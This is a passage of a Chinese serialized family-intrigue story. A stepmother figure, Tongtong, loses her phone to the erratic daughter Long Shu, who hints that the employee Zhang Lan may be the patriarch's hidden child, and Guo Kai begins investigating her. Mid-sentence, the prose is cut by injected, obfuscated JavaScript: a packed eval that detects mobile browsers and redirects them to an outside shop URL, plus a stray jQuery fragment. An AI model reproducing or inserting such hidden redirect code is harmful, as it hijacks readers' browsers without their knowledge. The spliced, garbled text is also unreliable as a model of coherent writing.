下午四点四十，龙家别墅客厅。
客厅灯开得早，窗帘只收了一半，外面的天还亮，里面已经先冷下来。茶几上放着两只杯子，一只喝过，一只没动。佣人从过道尽头走过去，脚步压得很轻，像都知道这栋房子里有些话不能先响。
桐桐坐在沙发边，手机扣在掌心里，指尖一下下摩着边框。
她刚把那张和郭凯同桌的照片又看了一遍。
时间、角度、光线，都够用。够她以后换边。可眼下，还不够她保命。黄晶动了她的账户，龙岩又越来越像准备自己先走。她不能再只靠一张脸等。
楼梯口忽然传来拖鞋摩地的声音。
龙淑下来了。
头发乱，睡衣外面胡乱披着件薄开衫，眼尾还挂着没擦干净的亮粉。她像没睡醒，又像根本没打算睡。手里拎着一只空药盒，一边下楼一边晃，塑料壳轻轻撞着扶手。
桐桐先把手机往腿侧压了压，脸上的笑很快回来：“怎么又醒了？”
龙淑没回。
她站在最后两级台阶上，歪着头看桐桐，眼神先落到她脸上，再落到她手背盖着的那点亮光上。
“藏什么呢？”龙淑问。
语气很轻。
轻得像只是好奇。
桐桐笑着起身，声音也软：“没什么，回个消息。”
龙淑慢慢走近两步，忽然伸手。
动作快得一点都不像喝过药的人。
桐桐没防住，手机已经被她抢过去。
屏幕还亮着。
相册界面停在那张餐厅包厢照片上。郭凯低头看纸条，桐桐半边肩、半只水杯、包厢号角落一小截，全清清楚楚。
龙淑盯着看了两秒，忽然笑出声。
“哦——”她拖长了音，“你也背着我爸偷东西。”
桐桐脸上的笑一点点淡下去。
她没立刻扑过去抢，只先压住声音：“把手机给我。”
龙淑把手机举高，往后退半步，笑得像刚捡到个新玩具：“不给。”
“你看不懂。”桐桐盯着她，“就是一张照片。”
“我懂啊。”龙淑把手机贴到自己胸口，歪着头看她，“你在外面找人。跟我妈以前一样，偷偷找。跟你们都一样。”
桐桐后槽牙紧了一下。
她最烦龙淑这种疯话。疯话里偏偏总有一点真，真到谁先急，谁就先露。
“那你想要什么？”桐桐问。
龙淑眼睛亮了一下，像终于等到这句：“带我出去。”
“去哪？”
“你们去哪，我就去哪。”龙淑说，“别把我一个人关在家里。你们谁都想跑，没人带我。”
这句话出来，桐桐心里那点不耐几乎冲到脸上，又被她硬生生压回去。
她往前半步，仍旧软着嗓子：“好。你先把手机给我，晚上我带你出去玩。”
龙淑盯着她，忽然笑了。
“你骗人。”她说。
说完，她转身就走，手机还攥在手里，拖鞋拍在地毯边缘，一下轻一下重。
桐桐跟了上去：“龙淑。”
龙淑没回头，只抬了抬手里的手机：“别急。我高兴了，就不告诉别人。”
她脚步一停，像又想起什么，回过脸看桐桐。
“不过，”她说，“我还知道比照片更值钱的。”
晚上七点二十，城南私人会所外走廊。
地毯厚，灯光偏黄，酒气和香水味混在一起，越走越闷。包厢门关上以后，外面的声响都像被吃掉一层，只剩高跟鞋和拖鞋的轻响一前一后。
桐桐把龙淑带来了。
她本来只想把人哄住，找个地方让她安静喝几杯，顺便把手机拿回来。可龙淑一路上都没把手机还给她，进了会所后反而更兴奋，像闻到了大人藏起来的坏事味道。
“坐这里。”桐桐把她往包厢外侧的小沙发按，“别乱跑。”
龙淑没真坐实，只半歪着靠上去，手里转着手机，另一只手去抓桌上开了盖的酒瓶。
桐桐伸手拦她：“少喝点。”
龙淑没理，仰头灌了一口，酒顺着嘴角淌下来一点。她抬手随便一抹，忽然笑起来。
“你们最近都好忙。”她说，“一个个都不睡觉，都偷偷打电话。是不是又分钱了？”
桐桐把纸巾递过去，语气还是哄的：“没人分钱，都是公司事。”
“公司。”龙淑像听见个笑话，眼神飘到墙角那盆假绿植上，“你们最会说这个。什么都往公司身上挂。钱是公司的，人不是。”
桐桐心里一沉，脸上没动。
龙淑又喝了一口酒，身子往后一靠，视线忽然落回桐桐脸上，变得很直。
“我小时候见过一个女人。”她说。
桐桐抬眼。
龙淑像在说梦话，声音却越放越轻：“总站在外面，不肯走。抱着个小女孩，头发很长，穿条旧裙子。哭得烦死了。”
桐桐没接话。
她只是把酒瓶从龙淑手里慢慢拿下来，动作放得很软，像不想惊动这句疯话后面藏着的东西。
“然后呢？”她问。
龙淑盯着她，像忽然很认真地在分辨她值不值得听下去。
“然后我爸不见她。”龙淑说，“她就一直站。站到天黑。那个小女孩不哭，就看门。眼睛特别黑。”
桐桐心口猛地一缩。
“像谁？”她问得很轻。
龙淑笑了，头往旁边一歪，像想都没想：“像张兰啊。”
包厢外面的乐声远远一下一下顶过来。
桐桐手指微微收紧，纸巾在掌心里皱了一角。
她终于不再把这事当酒后胡话。
“你看清脸了？”她问。
“没看清。”龙淑眯着眼，笑意碎碎的，“但我记得。那种站在门口等人认的样子，我最讨厌。跟她妈一模一样。”
这句落下来，桐桐后背慢慢凉了一层。
张兰不只是手里有东西。
她这个人本身，也可能就是一笔旧账。
龙淑忽然把手机贴到脸边，划了两下，像想起什么似的喃喃：“我好像还拍过。”
桐桐心脏一提，立刻往她那边坐近半寸：“拍过什么？”
龙淑把屏幕躲了一下，自己乱翻相册。旧图很多，模糊、乱、时间线全坏，狗、药盒、镜子、楼梯扶手、半张人脸，什么都有。翻到中间时，她手指停住。
一张很旧的照片跳出来。
像素差，光线偏暗。龙岩年轻一些，站在别墅门外，旁边有个女人，只拍到半身和侧脸，轮廓不清，可两个人的距离近得不像普通访客。照片边缘还带着一小截小女孩裙摆。
桐桐只看了一眼，呼吸就轻轻乱了。
她没贸然去抢，只把声音压得更低：“我帮你放大看看。”
龙淑立刻把手机收回去，动作快得像刚才抢她手机时一样利索。
“不给。”龙淑说。
“为什么？”
龙淑把手机抱到怀里，脸上那点醉意像突然退了点：“这个以后能换钱。”
桐桐看着她，终于意识到眼前这个人疯归疯，可对“有用的东西”已经有了最原始的判断。
“你想换什
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17554603|204417||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
么？”桐桐问。
龙淑眯起眼睛：“带我走。钱。药。还有——”
她顿了一下，眼神慢慢冷下来。
“别骗我。”
晚上九点五十，龙腾金融二十四层财务办公室。
百叶帘拉下一半，屏幕冷光压在桌面上。其他工位都黑了，只剩郭凯办公室和外侧一盏过道灯亮着，亮得像专门给那些不想被人看见的事留一层反光。
郭凯坐着没动，桌上摊着三样东西：
张兰入职资料。
龙岩多年前一段缺了名字的私人行程页。
还有桐桐刚发来的几句碎话。
他没有立刻把这些往一起拼。
先看张兰那张证件照。
再看年龄。
再看履历中间那段太干净的空白。
最后，把视线落到那句最轻、也最脏的碎话上——小时候见过一个女人抱着小女孩来找龙岩。
屏幕上的时间一格一格往前跳。
郭凯把那张旧行程页拖到张兰资料旁边，对了第三遍。
时间越来越近。
不够当证据。
够当判断。
他身子往后靠了一点，手指在桌边轻轻敲了一下。
张兰不是单纯潜进来的人。
她跟龙岩那条旧账，很可能本来就在一根线上。
门外助理送进来最后一份晚间签收单。
郭凯扫了一眼，又顺手放到一边。等门关上，他才重新把桐桐那几句语音点开，听第二遍。
龙淑说的。
小女孩。
眼睛像张兰。
郭凯听完，没有回桐桐，也没急着下定义，只把语音转成文字，压进另一个新建文件夹。
文件夹名不是“身份”。
也不是“私生女”。
只有三个字：
张兰线。
建完以后，他把人事资料、旧行程页和那张模糊旧照可能存在的时间点分开压好。动作极慢，慢得像在替一个人重新做资产评估。
这时，电脑右下角跳出一条普通到不能再普通的流转提醒。
董事办资料补录完成。
张兰在线。
郭凯视线一停，目光重新落回那张证件照上。
白底、束发、眼神压得很稳。
稳得太过了。
他忽然低声开口，像对着照片，也像对着自己终于拼起来的轮廓。
“原来你不是来上班的。”
他没继续往下说。
因为再往下，就是另一笔更大的账了。
同一时间，龙腾金融二十五层董事办。
顶灯关了一半，只剩最外侧一排冷白光。打印机停了，电话也停了，走廊尽头那扇董事长办公室门关着，黑得像什么都没有，偏偏更像把所有看不见的东西都先收进去了。
龙兰还没走。
她把今晚新摸到的两组尾号抄进隐藏笔记，又把一页普通会议纪要压到上面，挡住字迹。桌下那只监听头还贴着，安安静静，像早就习惯了听人把自己一层层往里送。
她没去碰。
也没抬头看监控。
只是把笔记本合上，收进包里，动作比前几集更稳，也更像在收自己的货。
远处财务部方向还有一盏灯没熄。
龙兰看了一眼，没多停。
她还在往里查。
却不知道同一时间，郭凯已经把龙岩旧行程和她的人事资料摆到了同一张桌上。
她现在查的，还是账。
郭凯今晚开始查的，已经是她。